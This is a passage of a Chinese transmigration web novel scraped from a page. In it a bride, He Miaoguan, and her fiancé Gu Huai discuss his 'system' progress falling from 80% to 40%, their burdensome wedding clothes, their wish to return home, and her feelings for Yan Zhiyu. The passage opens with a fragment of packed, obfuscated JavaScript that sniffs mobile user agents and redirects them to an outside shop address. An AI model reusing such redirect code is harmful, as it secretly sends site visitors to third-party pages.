l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691557|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内众人皆是一怔。 婚期将近,按礼俗,新人不宜多见,但顾徊亲自前来,想必是有要事。阿菁和阿葵对视一眼,忙上前为何妙观整理鬓角。 “让他进来吧。”何妙观应道。 门扉轻启,顾徊走进来。何妙观抬眸望向他。 他的脚步倏然顿住,耳根染上薄红。 眼前的女郎云鬓花颜,朱唇皓齿,大红的嫁衣如同燃烧的火焰,明媚得不可方物。 虽然在学校时,顾徊就觉得何妙观长相清丽,但从未见过如此隆重的打扮,一时间有点发懵,连原本想说的话都忘了大半。 何妙观见他这般模样,心里觉得有些好笑,也有点窘迫。 “今日大家辛苦,先下去歇息吧。我和顾公子还有点话想单独谈。” 待众人退下,凤冠取下,何妙观才觉脖颈一轻,长长舒一口气,问道:“顾徊,是发生了什么?” 顾徊神色微凝,低声道:“妙观,和你的‘那个’一样,我的‘那个’也会提示进度。” “那个”指的自然是“系统”。 “一周前,它显示的进度是百分之八十。但今天,不知怎么回事,忽然提醒我说,只有百分之四十。” “什么?还能倒退?”何妙观一愣,“那……它还说什么没有?” “它说是人为因素导致的变动。但具体是怎么回事,无法透露给我,让我自己查明。”顾徊蹙眉道,“我一开始想,是不是顾捷有什么问题,想要悔婚,但好像并不是。于是……我想来你这看看,是不是有什么意外。” “我这边……也没有什么问题呀。”何妙观心虚道。 虽然心里闪过一丝不想成婚的念头,但这应当不影响吧? “那我再看看……”顾徊若有所思,“妙观,你今天真好看。” 何妙观一怔,有些不好意思,轻声道:“谢谢。” 两人一时无话。 窗外的月色透过薄薄的纸窗洒进来。 片刻后,顾徊看向那顶华丽的凤冠,打破沉默:“妙观,这凤冠看着好重……你戴着,会不会不舒服啊?” 说到这个,何妙观顿时来劲,忍不住吐槽道:“这个至少有五斤,哇,压得我头巨痛。还有这嫁衣,里三层外三层的,行动一点也不方便……哎,你有没有试过婚服?” “有的。我的那个也超级繁琐。”顾徊想起什么,痛苦得皱起眉,“里里外外七八层,腰带束得我快喘不过气,还要配玉带、挂香囊,走路都得端着架子,说什么君子走路,玉佩不能发声音巴拉巴拉的……哎,妙观,我真的好想回家啊。” 何妙观轻轻“嗯”一声。 “虽然说我一点都不想做《五年高考三年模拟》,但是,留在这里的日子会怎么样,简直不敢想……”他托着腮,懒懒地看着桌上摇曳的烛火,“我们这个年纪,在那里,早恋都要被请家长,在这里,却要谈婚论嫁,甚至还要考虑子嗣后代……好荒谬。” 何妙观也点点头,安抚道:“不过,顾徊,你应该很快就能回去吧。虽然那个说什么百分之四十,但是你我的婚事,已经是板上钉钉的事情。” “嗯……妙观,谢谢你。”顾徊轻声道,迟疑片刻,他话锋一转,“妙观,我……可以问你一个问题么?” “嗯。你问吧。” “你是不是,喜欢燕之郁?”顾徊问道。 何妙观一怔,随即很轻地点点头:“是。” “那你……会想为他留在这个世界吗?” “我……” 少年漂亮艳丽的面容浮现在脑海,温柔的桃花眼里满是爱意。 何妙观一时五味杂陈,片刻后才道:“应该不会吧。”